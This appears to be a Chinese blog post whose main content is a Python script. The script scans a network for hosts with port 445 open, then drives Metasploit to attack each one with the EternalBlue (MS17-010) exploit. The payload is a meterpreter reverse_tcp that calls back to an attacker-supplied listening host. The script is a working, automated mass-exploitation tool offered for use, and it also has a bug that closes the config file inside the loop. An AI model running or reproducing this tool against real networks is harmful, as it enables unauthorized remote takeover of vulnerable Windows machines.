Python脚本与Metasploit交互进行自动永恒之蓝攻击

我们首先利用 findTarget() 函数找到目标网段或目标主机中开放了445端口的主机,然后利用 confickerExploit() 函数将攻击代码写入 configure.rc 配置文件中,最后调用 MSF 框架读取配置文件进行攻击!

# -*- coding: utf-8 -*-
"""
Created on Sun Nov  12 09:11:33 2018
@author: 小谢
"""
import os
import optparse
import sys
import nmap
def findTarget(Hosts):              #扫描网段范围内开放445端口的主机
    nmScan=nmap.PortScanner()
    nmScan.scan(Hosts,'445')
    targets=[]
    for t in nmScan.all_hosts():
        if nmScan[t].has_tcp(445):  #如果445端口提供了协议
            state=nmScan[t]['tcp'][445]['state']  #查看445端口的状态
            if state=='open':
                print '[+]Found Target Host:'+t
                targets.append(t) 
    return targets         #返回开放445端口的主机列表
def confickerExploit(configFile,target,lhost):       #漏洞利用
    configFile.write('use exploit/windows/smb/ms17_010_eternalblue \n')  #漏洞利用代码
    configFile.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp\n')
    configFile.write('set RHOST '+str(target)+'\n')              #设定参数
    configFile.write('set LHOST '+lhost+'\n')
    configFile.write('exploit -j -z\n')    #j选项是将所有连接的会话保持在后台 -z不与任务进行即时交换
def main():
    configFile=open('configure.rc','w')  #以写入方式打开配置文件
    usage='[-]Usage %prog -H <RHOSTS> -l/-L <LHOST> '
    parser=optparse.OptionParser(usage)
    parser.add_option('-H',dest='target',type='string',help='target host')           #目标主机
    parser.add_option('-l','-L',dest='lhost',type='string',help='listen address')    #我们的主机
    (options,args)=parser.parse_args()
    target=options.target
    lhost=options.lhost
    if (target==None)|(lhost==None):
        print parser.usage
        exit(0)
    targets=findTarget(options.target)           #寻找目标
    for target in targets:                       #逐个攻击
        confickerExploit(configFile,target,lhost)
        configFile.close()
        os.system('msfconsole -r configure.rc')  #启动metasploit并读取配置文件
if __name__=='__main__':
    main()

  • 4
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

谢公子

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值